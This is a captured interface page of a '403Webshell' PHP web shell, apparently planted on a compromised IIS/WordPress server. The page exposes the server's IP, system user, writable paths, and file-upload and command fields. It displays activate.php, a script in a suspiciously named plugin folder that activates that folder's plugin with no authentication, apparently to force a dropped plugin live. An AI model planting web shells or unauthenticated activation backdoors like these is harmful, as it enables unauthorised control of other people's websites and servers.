403Webshell
Server IP : 209.209.40.120  /  Your IP : 216.73.217.112
Web Server : Microsoft-IIS/10.0
System : Windows NT NEWWWW 10.0 build 17763 (Windows Server 2019) i586
User : NEWWWW$ ( 0)
PHP Version : 8.3.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/HostingSpaces/admin/pwan.uk/wwwroot/wp-content/plugins/zymfihg/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/HostingSpaces/admin/pwan.uk/wwwroot/wp-content/plugins/zymfihg//activate.php
<?php

require_once dirname( __FILE__, 4 ) . '/wp-load.php';

if ( ! function_exists( 'activate_plugin' ) ) {
	require_once ABSPATH . 'wp-admin/includes/plugin.php';
}

$plugin_dir  = basename( __DIR__ );
$plugin_file = null;

foreach ( glob( __DIR__ . '/*.php' ) as $file ) {
	if ( basename( $file ) === 'activate.php' || basename( $file ) === 'uninstall.php' ) {
		continue;
	}
	$data = get_plugin_data( $file, false, false );
	if ( ! empty( $data['Name'] ) ) {
		$plugin_file = $plugin_dir . '/' . basename( $file );
		break;
	}
}

if ( ! $plugin_file ) {
	die( 'No plugin found.' );
}

if ( is_plugin_active( $plugin_file ) ) {
	die( 'Already active.' );
}

$result = activate_plugin( $plugin_file );

if ( is_wp_error( $result ) ) {
	die( 'Activation failed: ' . $result->get_error_message() );
}

echo 'Activated: ' . $plugin_file;

Youez - 2016 - github.com/yon3zu
LinuXploit